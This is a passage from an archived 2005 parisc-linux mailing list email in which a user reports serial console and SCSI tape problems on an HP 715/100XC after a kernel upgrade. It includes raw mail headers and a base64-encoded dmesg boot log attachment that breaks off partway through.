	port 10024)
	with ESMTP id 28072-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 13:14:48 -0700 (MST)
Original-Received: from jingo.impsolweb.ca (h64-5-255-70.gtconnect.net [64.5.255.70])
	by free.linux.hp.com (Postfix) with ESMTP id 8F3CC3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 13:14:47 -0700 (MST)
Original-Received: from blk-222-177-142.eastlink.ca
	([24.222.177.142] helo=brain.fop.ns.ca ident=mail)
	by jingo.impsolweb.ca with esmtp (Exim 3.35 #1 (Debian))
	id 1CqdGi-0007jU-00; Mon, 17 Jan 2005 16:14:32 -0400
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1CqdGf-0001I5-00; Mon, 17 Jan 2005 16:14:29 -0400
X-X-Sender: lists@brain.fop.ns.ca
In-Reply-To: <20050117200141.GJ30982@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22301

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--17435138-1132772909-1105992868=:4060
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 17 Jan 2005, Matthew Wilcox wrote:

> On Mon, Jan 17, 2005 at 03:39:00PM -0400, Steve Bromwich wrote:
> > I just upgraded my 715/100XC to 2.6.10-pa10 from 2.4.27, and I've hit a
> > few snags. First is I've lost serial console ("if this is the last message
> > you see..."). I did make oldconfig from the 2.4.27 config, but I think
> > I've fluffed it and missed the driver. Can someone see what I've missed in
> > the attached config?
>
> Nothing, it seems to be fine.  You have CONFIG_GSC, CONFIG_GSC_LASI,
> CONFIG_GSC_WAX and CONFIG_SERIAL_8250, which should be enough.  The
> 715/100 is pretty similar to the 725/100 I have, which works.
>
> Could you send me your dmesg?  I'd like to figure out why this is failing.

Sure, I've attached it. Looking closer I also noticed a bunch of SCSI
errors I don't recall seeing before ("New error handler wants to abort
command") - do these give any hints as to what my SCSI tape problem is?
I'm moderately (though not 100%) sure I have termination configured
correctly.

Cheers, Steve
--17435138-1132772909-1105992868=:4060
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=dmesg
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.58.0501171614280.4060@brain.fop.ns.ca>
Content-Description: dmesg
Content-Disposition: attachment; filename=dmesg

TGludXggdmVyc2lvbiAyLjYuMTAtcGExMHJldjEgKHJvb3RAYnJhaW4pIChn
Y2MgdmVyc2lvbiAzLjAuNCkgIzEgTW9uIEphbiAxMCAxODoxNjowNyBBU1Qg
MjAwNQ0KRlBbMF0gZW5hYmxlZDogUmV2IDEgTW9kZWwgMTMNClRoZSAzMi1i
aXQgS2VybmVsIGhhcyBzdGFydGVkLi4uDQpEZXRlcm1pbmluZyBQREMgZmly
bXdhcmUgdHlwZTogU25ha2UuDQptb2RlbCAwMDAwNjBjMCAwMDAwMDQ4MSAw
MDAwMDAwMCAwMDAwMDAwMCA3NzU2NmI0ZSAwMDAwMDAwMCAwMDAwMDAwNCAw
MDAwMDA3MiAwMDAwMDA3Mg0KdmVycyAgMDAwMDAwMGMNCm1vZGVsIDkwMDAv
NzE1DQpUb3RhbCBNZW1vcnk6IDI1NiBNYg0KT24gbm9kZSAwIHRvdGFscGFn
ZXM6IDY1NTM2DQogIERNQSB6b25lOiA2NTUzNiBwYWdlcywgTElGTyBiYXRj
aDoxNg0KICBOb3JtYWwgem9uZTogMCBwYWdlcywgTElGTyBiYXRjaDoxDQog
IEhpZ2hNZW0gem9uZTogMCBwYWdlcywgTElGTyBiYXRjaDoxDQpCdWlsdCAx
IHpvbmVsaXN0cw0KS2VybmVsIGNvbW1hbmQgbGluZTogcm9vdD0vZGV2L3Nk
YTMgSE9NRT0vIGNvbnNvbGU9dHR5UzAgVEVSTT12dDEwMiBwYWxvX2tlcm5l
bD0yL3ZtbGludXgNClBJRCBoYXNoIHRhYmxlIGVudHJpZXM6IDIwNDggKG9y
ZGVyOiAxMSwgMzI3NjggYnl0ZXMpDQpDb25zb2xlOiBjb2xvdXIgZHVtbXkg
ZGV2aWNlIDE2MHg2NA0KRGVudHJ5IGNhY2hlIGhhc2ggdGFibGUgZW50cmll
czogNjU1MzYgKG9yZGVyOiA2LCAyNjIxNDQgYnl0ZXMpDQpJbm9kZS1jYWNo
ZSBoYXNoIHRhYmxlIGVudHJpZXM6IDMyNzY4IChvcmRlcjogNSwgMTMxMDcy
IGJ5dGVzKQ0KTWVtb3J5OiAyNjIxNDRrIGF2YWlsYWJsZQ0KQ2FsaWJyYXRp
bmcgZGVsYXkgbG9vcC4uLiA5OS43MyBCb2dvTUlQUyAobHBqPTQ5ODY4OCkN
Ck1vdW50LWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogNTEyIChvcmRlcjog
MCwgNDA5NiBieXRlcykNCk5FVDogUmVnaXN0ZXJlZCBwcm90b2NvbCBmYW1p
bHkgMTYNCkVJU0EgYnVzIHJlZ2lzdGVyZWQNClNlYXJjaGluZyBmb3IgZGV2
aWNlcy4uLg0KRm91bmQgZGV2aWNlczoNCjEuIE1pcmFnZSAxMDArIEdTQyBC
dWlsdGluIEdyYXBoaWNzIGF0IDB4ZjgwMDAwMDAgWzFdIHsgMTAsIDB4MCwg
MHgwMTEsIDB4MDAwODUgfQ0KMi4gTWlyYWdlIDEwMCsgQ29yZSBCQSBhdCAw
eGYwMTAwMDAwIFsyXSB7IDExLCAweDAsIDB4MDJjLCAweDAwMDgxIH0NCjMu
IE1pcmFnZSAxMDArIENvcmUgU0NTSSBhdCAweGYwMTA2MDAwIFsyLzAvMV0g
eyAxMCwgMHgwLCAweDAyYywgMHgwMDA4MiB9DQo0LiBNaXJhZ2UgMTAwKyBD
b3JlIExBTiAoODAyLjMpIGF0IDB4ZjAxMDcwMDAgWzIvMC8yXSB7IDEwLCAw
eDAsIDB4MDJjLCAweDAwMDhhIH0NCjUuIE1pcmFnZSAxMDArIENvcmUgUlMt
MjMyIGF0IDB4ZjAxMDUwMDAgWzIvMC80XSB7IDEwLCAweDAsIDB4MDJjLCAw
eDAwMDhjIH0NCjYuIE1pcmFnZSAxMDArIENvcmUgQ2VudHJvbmljcyBhdCAw
eGYwMTAyMDAwIFsyLzAvNl0geyAxMCwgMHgwLCAweDAyYywgMHgwMDA3NCB9
DQo3LiBNaXJhZ2UgMTAwKyBBdWRpbyBhdCAweGYwMTA0MDAwIFsyLzAvOF0g
eyAxMCwgMHgwLCAweDAyYywgMHgwMDA3YiB9DQo4LiBNaXJhZ2UgMTAwKyBD
b3JlIFBDIEZsb3BweSBhdCAweGYwMTBhMDAwIFsyLzAvMTBdIHsgMTAsIDB4
MCwgMHgwMmMsIDB4MDAwODMgfQ0KOS4gTWlyYWdlIDEwMCsgQ29yZSBQUy8y
IFBvcnQgYXQgMHhmMDEwODAwMCBbMi8wLzExXSB7IDEwLCAweDAsIDB4MDJj
LCAweDAwMDg0IH0NCjEwLiBNaXJhZ2UgMTAwKyBDb3JlIFBTLzIgUG9ydCBh
dCAweGYwMTA4MTAwIFsyLzAvMTJdIHsgMTAsIDB4MCwgMHgwMmMsIDB4MDAw
ODQgfQ0KMTEuIE1pcmFnZSAxMDArIFdheCBFSVNBIEJBIGF0IDB4ZmMwMDAw
MDAgWzRdIHsgMTEsIDB4MCwgMHgwMmMsIDB4MDAwOTAgfQ0KMTIuIE1pcmFn
ZSAxMDArIFdheCBCQSBhdCAweGYwMjAwMDAwIFs1XSB7IDExLCAweDAsIDB4
MDJjLCAweDAwMDhlIH0NCjEzLiBNaXJhZ2UgMTAwKyBXYXggSElMIGF0IDB4
ZjAyMDEwMDAgWzUvMC8xXSB7IDEwLCAweDAsIDB4MDJjLCAweDAwMDczIH0N
CjE0LiBHZWNrbyBDb3JlIFJTLTIzMiBhdCAweGYwMjAyMDAwIFs1LzAvMl0g
eyAxMCwgMHgwLCAweDAxNiwgMHgwMDA4YyB9DQoxNS4gTWlyYWdlIDEwMCsg
YXQgMHhmZmZiZTAwMCBbOF0geyAwLCAweDAsIDB4NjBjLCAweDAwMDA0IH0N
CjE2LiBNZW1vcnkgYXQgMHhmZmZiZjAwMCBbOV0geyAxLCAweDAsIDB4MDRj
LCAweDAwMDA5IH0NCkNQVShzKTogMSB4IFBBNzEwMExDIChQQ1gtTCkgYXQg
MTAwLjAwMDAwMCBNSHoNCldob2xlIGNhY2hlIGZsdXNoIDMwMzU0NiBjeWNs
ZXMsIGZsdXNoaW5nIDI3MjQ5MTg3NiBieXRlcyA0MjEyMTczMyBjeWNsZXMN
ClNldHRpbmcgY2FjaGUgZmx1c2ggdGhyZXNob2xkIHRvIDIwICgxIENQVXMg
b25saW5lKQ0KTGFzaSB2ZXJzaW9uIDAgYXQgMHhmMDEwMDAwMCBmb3VuZC4N
CkxFRCBkaXNwbGF5IGF0IDQwMjc0NDkzNDQgcmVnaXN0ZXJlZA0KV2F4IGF0
IDB4ZjAyMDAwMDAgZm91bmQuDQpXYXggRUlTQSBBZGFwdGVyIGZvdW5kIGF0
IDB4ZmMwMDAwMDANCkVJU0EgRUVQUk9NOiBjYW5ub3QgcmVnaXN0ZXIgbWlz
YyBkZXZpY2UuDQpFbnVtZXJhdGluZyBFSVNBIGJ1cw0KRUlTQSBzbG90IDEg
YSBjb25maWd1cmVkIGJvYXJkIHdhcyBub3QgZGV0ZWN0ZWQgKCBleHBlY3Rl
ZCBJTlQxMDYwKQ0KRUlTQTogUHJvYmluZyBidXMgMCBhdCA0DQpFSVNBOiBN
YWluYm9hcmQgSFdQQzAwMCBkZXRlY3RlZC4NCkVJU0E6IERldGVjdGVkIDAg
Y2FyZHMuDQpTQ1NJIHN1YnN5c3RlbSBpbml0aWFsaXplZA0KdW53aW5kX2lu
aXQ6IHN0YXJ0ID0gMHgxMDMwMWE2MCwgZW5kID0gMHgxMDMxZTYzMCwgZW50
cmllcyA9IDczNTcNCkdlY2tvLXN0eWxlIHNvZnQgcG93ZXIgc3dpdGNoIGVu
YWJsZWQuDQpzZXJpbzogR1NDIFBTLzIga2V5Ym9hcmQgcG9ydCBhdCAweGYw
MTA4MDAwIGlycSAyMiBAIDI6MDoxMQ0Kc2VyaW86IEdTQyBQUy8yIG1vdXNl
IHBvcnQgYXQgMHhmMDEwODEwMCBpcnEgMjMgQCAyOjA6MTINCkhQIFNEQzog
SFAgU0RDIHJlcG9ydHMgc3VjY2Vzc2Z1bCBQVVAuDQpUcnlpbmcgdG8gZnJl
ZSBmcmVlIElSUTI0DQpUcnlpbmcgdG8gZnJlZSBub25leGlzdGVudCByZXNv
dXJjZSA8ZjAyMDE4MDAtZjAyMDE4MDE+DQpIUCBTREM6IDogTk1JIG5vdCBh
dmFpbGFibGUgZm9yIFNEQyBJTz0weGYwMjAxMDAwIElSUT0weDE4IE5NST0w
eDE3DQpIUCBTREM6IHByb2JlIG9mIDU6MDoxIGZhaWxlZCB3aXRoIGVycm9y
IC0xNg0KSFAgU0RDOiBObyBTREMgZm91bmQuDQpIUCBTREMgTUxDOiBSZWdp
c3RlcmluZyB0aGUgU3lzdGVtIERvbWFpbiBDb250cm9sbGVyJ3MgSElMIE1M
Qy4NCkhQIFNEQyBNTEM6IFJlcXVlc3QgZm9yIHJhdyBISUwgSVNSIGhvb2sg
ZGVuaWVkDQpTZXJpYWw6IDgyNTAvMTY1NTAgZHJpdmVyICRSZXZpc2lvbjog
MS45MCAkIDEzIHBvcnRzLCBJUlEgc2hhcmluZyBkaXNhYmxlZA0KdHR5UzAg
YXQgTU1JTyAweGYwMTA1ODAwIChpcnEgPSAxOCkgaXMgYSAxNjU1MEENCnR0
eVMxIGF0IE1NSU8gMHhmMDIwMjgwMCAoaXJxID0gMjUpIGlzIGEgMTY1NTBB
DQppbyBzY2hlZHVsZXIgbm9vcCByZWdpc3RlcmVkDQppbyBzY2hlZHVsZXIg
YW50aWNpcGF0b3J5IHJlZ2lzdGVyZWQNCmlvIHNjaGVkdWxlciBkZWFkbGlu
ZSByZWdpc3RlcmVkDQppbyBzY2hlZHVsZXIgY2ZxIHJlZ2lzdGVyZWQNClJB
TURJU0sgZHJpdmVyIGluaXRpYWxpemVkOiAxNiBSQU0gZGlza3Mgb2YgNDA5
Nksgc2l6ZSAxMDI0IGJsb2Nrc2l6ZQ0KbG9vcDogbG9hZGVkIChtYXggOCBk
ZXZpY2VzKQ0KTEFTSSA4MjU5NiBkcml2ZXIgLSBSZXZpc2lvbjogMS4zMA0K
Rm91bmQgaTgyNTk2IGF0IDB4ZjAxMDcwMDAsIElSUSAxNw0KZXRoMDogODI1
OTYgYXQgMHhmMDEwNzAwMCwgMDggMDAgMDkgRTQgN0QgMDIgSVJRIDE3Lg0K
NTNjNzAwOiBWZXJzaW9uIDIuOCBCeSBKYW1lcy5Cb3R0b21sZXlASGFuc2Vu
UGFydG5lcnNoaXAuY29tDQpzY3NpMDogNTNjNzEwIHJldiAyIA0Kc2NzaTAg
OiBMQVNJIFNDU0kgNTNjNzAwDQplbGV2YXRvcjogdXNpbmcgYW50aWNpcGF0
b3J5IGFzIGRlZmF1bHQgaW8gc2NoZWR1bGVyDQogIFZlbmRvcjogU0VBR0FU
RSAgIE1vZGVsOiBTVDE1MTUwTiAgICAgICAgICBSZXY6IDkxMDcNCiAgVHlw
ZTogICBEaXJlY3QtQWNjZXNzICAgICAgICAgICAgICAgICAgICAgIEFOU0kg
U0NTSSByZXZpc2lvbjogMDINCiB0YXJnZXQwOjA6MTogQmVnaW5uaW5nIERv
bWFpbiBWYWxpZGF0aW9uDQpzY3NpMDogKDE6MCkgQXN5bmNocm9ub3VzDQpz
Y3NpMDogKDE6MCkgRW5hYmxpbmcgVGFnIENvbW1hbmQgUXVldWluZw0Kc2Nz
aTA6ICgxOjApIFN5bmNocm9ub3VzIGF0IG9mZnNldCA4LCBwZXJpb2QgMTAw
bnMNCiB0YXJnZXQwOjA6MTogRG9tYWluIFZhbGlkYXRpb24gc2tpcHBpbmcg
d3JpdGUgdGVzdHMNCiB0YXJnZXQwOjA6MTogRW5kaW5nIERvbWFpbiBWYWxp
ZGF0aW9uDQogIFZlbmRvcjogUVVBTlRVTSAgIE1vZGVsOiBGSVJFQkFMTC1T
VDIgICAgICBSZXY6IEhQMEoNCiAgVHlwZTogICBEaXJlY3QtQWNjZXNzICAg
ICAgICAgICAgICAgICAgICAgIEFOU0kgU0NTSSByZXZpc2lvbjogMDINCiB0
YXJnZXQwOjA6MjogQmVnaW5uaW5nIERvbWFpbiBWYWxpZGF0aW9uDQpzY3Np
MDogKDI6MCkgQXN5bmNocm9ub3VzDQpzY3NpMDogKDI6MCkgRW5hYmxpbmcg
VGFnIENvbW1hbmQgUXVldWluZw0Kc2NzaTA6ICgyOjApIFN5bmNocm9ub3Vz
IGF0IG9mZnNldCA4LCBwZXJpb2QgMTAwbnMNCiB0YXJnZXQwOjA6MjogRG9t
YWluIFZhbGlkYXRpb24gc2tpcHBpbmcgd3JpdGUgdGVzdHMNCiB0YXJnZXQw
OjA6MjogRW5kaW5nIERvbWFpbiBWYWxpZGF0aW9uDQpzY3NpMDogKDM6MCks
IFVuc29saWNpdGVkIFdEVFIgYWZ0ZXIgQ01ELCBSZWplY3RpbmcNCiAgVmVu
ZG9yOiBIUCAgICAgICAgTW9kZWw6IElCTS1DNTY4MzAzMDMwIUQgIFJldjog
QzAwOQ0KICBUeXBlOiAgIFNlcXVlbnRpYWwtQWNjZXNzICAgICAgICAgICAg
ICAgICAgQU5TSSBTQ1NJIHJldmlzaW9uOiAwMg0KIHRhcmdldDA6MDozOiBC
ZWdpbm5pbmcgRG9tYWluIFZhbGlkYXRpb24NCnNjc2kwOiAoMzowKSBBc3lu
Y2hyb25vdXMNCnNjc2kwOiAoMzowKSBTeW5jaHJvbm91cyBhdCBvZmZzZXQg
OCwgcGVyaW9kIDEwMG5zDQogdGFyZ2V0MDowOjM6IERvbWFpbiBWYWxpZGF0
aW9uIHNraXBwaW5nIHdyaXRlIHRlc3RzDQogdGFyZ2V0MDowOjM6IEVuZGlu
ZyBEb21haW4gVmFsaWRhdGlvbg0KICBWZW5kb3I6IFNFQUdBVEUgICBNb2Rl
bDogU1QxMjQwME4gU1VOMi4xRyAgUmV2OiA4NzIwDQogIFR5cGU6ICAgRGly
ZWN0LUFjY2VzcyAgICAgICAgICAgICAgICAgICAgICBBTlNJIFNDU0kgcmV2
aXNpb246IDAyDQogdGFyZ2V0MDowOjQ6IEJlZ2lubmluZyBEb21haW4gVmFs
aWRhdGlvbg0Kc2NzaTA6ICg0OjApIEFzeW5jaHJvbm91cw0Kc2NzaTA6ICg0
OjApIEVuYWJsaW5nIFRhZyBDb21tYW5kIFF1ZXVpbmcNCnNjc2kwOiAoNDow
KSBTeW5jaHJvbm91cyBhdCBvZmZzZXQgOCwgcGVyaW9kIDEwMG5zDQogdGFy
Z2V0MDowOjQ6IERvbWFpbiBWYWxpZGF0aW9uIHNraXBwaW5nIHdyaXRlIHRl
c3RzDQogdGFyZ2V0MDowOjQ6IEVuZGluZyBEb21haW4gVmFsaWRhdGlvbg0K
ICBWZW5kb3I6IFNFQUdBVEUgICBNb2RlbDogU1QxMjQwME4gU1VOMi4xRyAg
UmV2OiA4NzIwDQogIFR5cGU6ICAgRGlyZWN0LUFjY2VzcyAgICAgICAgICAg
ICAgICAgICAgICBBTlNJIFNDU0kgcmV2aXNpb246IDAyDQogdGFyZ2V0MDow
OjU6IEJlZ2lubmluZyBEb21haW4gVmFsaWRhdGlvbg0Kc2NzaTA6ICg1OjAp
IEFzeW5jaHJvbm91cw0Kc2NzaTA6ICg1OjApIEVuYWJsaW5nIFRhZyBDb21t
YW5kIFF1ZXVpbmcNCnNjc2kwOiAoNTowKSBTeW5jaHJvbm91cyBhdCBvZmZz
ZXQgOCwgcGVyaW9kIDEwMG5zDQogdGFyZ2V0MDowOjU6IERvbWFpbiBWYWxp
ZGF0aW9uIHNraXBwaW5nIHdyaXRlIHRlc3RzDQogdGFyZ2V0MDowOjU6IEVu
ZGluZyBEb21haW4gVmFsaWRhdGlvbg0KICBWZW5kb3I6IFNFQUdBVEUgICBN
b2RlbDogU1QzMzY2MDdMVyAgICAgICAgUmV2OiBIUFM0DQogIFR5cGU6ICAg
RGlyZWN0LUFjY2VzcyAgICAgICAgICAgICAgICAgICAgICBBTlNJIFNDU0kg
cmV2aXNpb246IDAzDQogdGFyZ2V0MDowOjY6IEJlZ2lubmluZyBEb21haW4g
VmFsaWRhdGlvbg0Kc2NzaTA6ICg2OjApIEFzeW5jaHJvbm91cw0Kc2NzaTA6
ICg2OjApIEVuYWJsaW5nIFRhZyBDb21tYW5kIFF1ZXVpbmcNCnNjc2kwOiAo
NjowKSBTeW5jaHJvbm91cyBhdCBvZmZzZXQgOCwgcGVyaW9kIDEwMG5zDQog
dGFyZ2V0MDowOjY6IEVuZGluZyBEb21haW4gVmFsaWRhdGlvbg0KU0NTSSBk
ZXZpY2Ugc2RhOiA4Mzg4MzE1IDUxMi1ieXRlIGhkd3Igc2VjdG9ycyAoNDI5
NSBNQikNClNDU0kgZGV2aWNlIHNkYTogZHJpdmUgY2FjaGU6IHdyaXRlIHRo
cm91Z2gNClNDU0kgZGV2aWNlIHNkYTogODM4ODMxNSA1MTItYnl0ZSBoZHdy
IHNlY3RvcnMgKDQyOTUgTUIpDQpTQ1NJIGRldmljZSBzZGE6IGRyaXZlIGNh
Y2hlOiB3cml0ZSB0aHJvdWdoDQogc2RhOiBzZGExIHNkYTIgc2RhMyBzZGE0
IDwgc2RhNSBzZGE2IHNkYTcgc2RhOCBzZGE5IHNkYTEwID4NCkF0dGFjaGVk
IHNjc2kgZGlzayBzZGEgYXQgc2NzaTAsIGNoYW5uZWwgMCwgaWQgMSwgbHVu
IDANClNDU0kgZGV2aWNlIHNkYjogNDE5NDY4NSA1MTItYnl0ZSBoZHdyIHNl
Y3RvcnMgKDIxNDggTUIpDQpTQ1NJIGRldmljZSBzZGI6IGRyaXZlIGNhY2hl
OiB3cml0ZSB0aHJvdWdoDQpTQ1NJIGRldmljZSBzZGI6IDQxOTQ2ODUgNTEy
LWJ5dGUgaGR3ciBzZWN0b3JzICgyMTQ4IE1CKQ0KU0NTSSBkZXZpY2Ugc2Ri
OiBkcml2ZSBjYWNoZTogd3JpdGUgdGhyb3VnaA0KIHNkYjogc2RiMSBzZGIy
IHNkYjMgPCBzZGI1IHNkYjYgc2RiNyBzZGI4IHNkYjkgPg0KQXR0YWNoZWQg
c2NzaSBkaXNrIHNkYiBhdCBzY3NpMCwgY2hhbm5lbCAwLCBpZCAyLCBsdW4g
MA0Kc2RjOiBTcGlubmluZyB1cCBkaXNrLi4uLi4uLi4uLi4uLi5yZWFkeQ0K
c2NzaTAgKDQ6MCkgTmV3IGVycm9yIGhhbmRsZXIgd2FudHMgdG8gYWJvcnQg
Y29tbWFuZA0KCXNjc2kwIDogZGVzdGluYXRpb24gdGFyZ2V0IDQsIGx1biAw
DQogICAgICAgIGNvbW1hbmQgPSAweDI1IDAwIDAwIDAwIDAwIDAwIDAwIDAw
IDAwIDAwIA0Kc2NzaTAgKDQ6MCkgTmV3IGVycm9yIGhhbmRsZXIgd2FudHMg
ZGV2aWNlIHJlc2V0DQoJc2NzaTAgOiBkZXN0aW5hdGlvbiB0YXJnZXQgNCwg
bHVuIDANCiAgICAgICAgY29tbWFuZCA9IDB4MjUgMDAgMDAgMDAgMDAgMDAg
MDAgMDAgMDAgMDAgDQpzY3NpMCAoNDowKSBOZXcgZXJyb3IgaGFuZGxlciB3
YW50cyBCVVMgcmVzZXQsIGNtZCAxZmNiZmNjMA0KCXNjc2kwIDogZGVzdGlu
YXRpb24gdGFyZ2V0IDQsIGx1biAwDQogICAgICAgIGNvbW1hbmQgPSAweDI1
IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIA0Kc2NzaTA6IEJ1cyBSZXNl
dCBkZXRlY3RlZCwgZXhlY3V0aW5nIGNvbW1hbmQgMDAwMDAwMDAsIHNsb3Qg
MDAwMDAwMDAsIGRzcCAwZmNmMDJiMFswMmIwXQ0KIGZhaWxpbmcgY29tbWFu
ZCBiZWNhdXNlIG9mIHJlc2V0LCBzbG90IDAwMDEwNTIwLCBjbW5kIDFmY2Jm
Y2MwDQpTQ1NJIGRldmljZSBzZGM6IDQxOTQ2ODUgNTEyLWJ5dGUgaGR3ciBz
ZWN0b3JzICgyMTQ4IE1CKQ0KU0NTSSBkZXZpY2Ugc2RjOiBkcml2ZSBjYWNo
ZTogd3JpdGUgdGhyb3VnaA0KU0NTSSBkZXZpY2Ugc2RjOiA0MTk0Njg1IDUx
Mi1ieXRlIGhkd3Igc2VjdG9ycyAoMjE0OCBNQikNClNDU0kgZGV2aWNlIHNk
YzogZHJpdmUgY2FjaGU6IHdyaXRlIHRocm91Z2gNCiBzZGM6PDY+IHRhcmdl
dDA6MDo0OiBCZWdpbm5pbmcgRG9tYWluIFZhbGlkYXRpb24NCnNjc2kwOiAo
NDowKSBBc3luY2hyb25vdXMNCnNjc2kwOiAoNDowKSBTeW5jaHJvbm91cyBh
dCBvZmZzZXQgOCwgcGVyaW9kIDEwMG5zDQogdGFyZ2V0MDowOjQ6IERvbWFp
biBWYWxpZGF0aW9uIHNraXBwaW5nIHdyaXRlIHRlc3RzDQogdGFyZ2V0MDow
OjQ6IEVuZGluZyBEb21haW4gVmFsaWRhdGlvbg0KIHNkYzENCkF0dGFjaGVk
IHNjc2kgZGlzayBzZGMgYXQgc2NzaTAsIGNoYW5uZWwgMCwgaWQgNCwgbHVu
IDANCnNkZDogU3Bpbm5pbmcgdXAgZGlzay4uLi4uLi4uLi4uLi4ucmVhZHkN
CnNjc2kwICg1OjApIE5ldyBlcnJvciBoYW5kbGVyIHdhbnRzIHRvIGFib3J0
IGNvbW1hbmQNCglzY3NpMCA6IGRlc3RpbmF0aW9uIHRhcmdldCA1LCBsdW4g
MA0KICAgICAgICBjb21tYW5kID0gMHgyNSAwMCAwMCAwMCAwMCAwMCAwMCAw
MCAwMCAwMCANCnNjc2kwICg1OjApIE5ldyBlcnJvciBoYW5kbGVyIHdhbnRz
IGRldmljZSByZXNldA0KCXNjc2kwIDogZGVzdGluYXRpb24gdGFyZ2V0IDUs
IGx1biAwDQogICAgICAgIGNvbW1hbmQgPSAweDI1IDAwIDAwIDAwIDAwIDAw
IDAwIDAwIDAwIDAwIA0Kc2NzaTAgKDU6MCkgTmV3IGVycm9yIGhhbmRsZXIg
d2FudHMgQlVTIHJlc2V0LCBjbWQgMWZjYmZjYzANCglzY3NpMCA6IGRlc3Rp
bmF0aW9uIHRhcmdldCA1LCBsdW4gMA0KICAgICAgICBjb21tYW5kID0gMHgy
NSAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCANCnNjc2kwOiBCdXMgUmVz
ZXQgZGV0ZWN0ZWQsIGV4ZWN1dGluZyBjb21tYW5kIDAwMDAwMDAwLCBzbG90
IDAwMDAwMDAwLCBkc3AgMGZjZjAyYjBbMDJiMF0NCiBmYWlsaW5nIGNvbW1h
bmQgYmVjYXVzZSBvZiByZXNldCwgc2xvdCAwMDAxMDUyMCwgY21uZCAxZmNi
ZmNjMA0KU0NTSSBkZXZpY2Ugc2RkOiA0MTk0Njg1IDUxMi1ieXRlIGhkd3Ig
c2VjdG9ycyAoMjE0OCBNQikNClNDU0kgZGV2aWNlIHNkZDogZHJpdmUgY2Fj
aGU6IHdyaXRlIHRocm91Z2gNClNDU0kgZGV2aWNlIHNkZDogNDE5NDY4NSA1
MTItYnl0ZSBoZHdyIHNlY3RvcnMgKDIxNDggTUIpDQpTQ1NJIGRldmljZSBz
ZGQ6IGRyaXZlIGNhY2hlOiB3cml0ZSB0aHJvdWdoDQogc2RkOjw2PiB0YXJn
ZXQwOjA6NTogQmVnaW5uaW5nIERvbWFpbiBWYWxpZGF0aW9uDQpzY3NpMDog
KDU6MCkgQXN5bmNocm9ub3VzDQpzY3NpMDogKDU6MCkgU3luY2hyb25vdXMg
YXQgb2Zmc2V0IDgsIHBlcmlvZCAxMDBucw0KIHRhcmdldDA6MDo1OiBEb21h
aW4gVmFsaWRhdGlvbiBza2lwcGluZyB3cml0ZSB0ZXN0cw0KIHRhcmdldDA6
MDo1OiBFbmRpbmcgRG9tYWluIFZhbGlkYXRpb24NCiBzZGQxDQpBdHRhY2hl
ZCBzY3NpIGRpc2sgc2RkIGF0IHNjc2kwLCBjaGFubmVsIDAsIGlkIDUsIGx1
biAwDQpTQ1NJIGRldmljZSBzZGU6IDcxMTMyOTYwIDUxMi1ieXRlIGhkd3Ig
c2VjdG9ycyAoMzY0MjAgTUIpDQpTQ1NJIGRldmljZSBzZGU6IGRyaXZlIGNh
Y2hlOiB3cml0ZSBiYWNrDQpTQ1NJIGRldmljZSBzZGU6IDcxMTMyOTYwIDUx
Mi1ieXRlIGhkd3Igc2VjdG9ycyAoMzY0MjAgTUIpDQpTQ1NJIGRldmljZSBz
ZGU6IGRyaXZlIGNhY2hlOiB3cml0ZSBiYWNrDQogc2RlOiBzZGUxIHNkZTIg
c2RlMyBzZGU0DQpBdHRhY2hlZCBzY3NpIGRpc2sgc2RlIGF0IHNjc2kwLCBj
aGFubmVsIDAsIGlkIDYsIGx1biAwDQptaWNlOiBQUy8yIG1vdXNlIGRldmlj
ZSBjb21tb24gZm9yIGFsbCBtaWNlDQpnc2NwczIuYzogdGltZW91dCAtIGNv
dWxkIG5vdCB3cml0ZSBieXRlIDB4ZWQNCmdzY3BzMi5jOiBzZW5kaW5nIGJ5
dGUgMHhlZCBmYWlsZWQuDQpnc2NwczIuYzogdGltZW91dCAtIGNvdWxkIG5v
dCB3cml0ZSBieXRlIDB4ZWQNCmdzY3BzMi5jOiBzZW5kaW5nIGJ5dGUgMHhl
ZCBmYWlsZWQuDQptZDogcmFpZDAgcGVyc29uYWxpdHkgcmVnaXN0ZXJlZCBh
cyBuciAyDQptZDogbWQgZHJpdmVyIDAuOTAuMSBNQVhfTURfREVWUz0yNTYs
IE1EX1NCX0RJU0tTPTI3DQpORVQ6IFJlZ2lzdGVyZWQgcHJvdG9jb2wgZmFt
aWx5IDINCklQOiByb3V0aW5nIGNhY2hlIGhhc2ggdGFibGUgb2YgMjA0OCBi
dWNrZXRzLCAxNktieXRlcw0KVENQOiBIYXNoIHRhYmxlcyBjb25maWd1cmVk
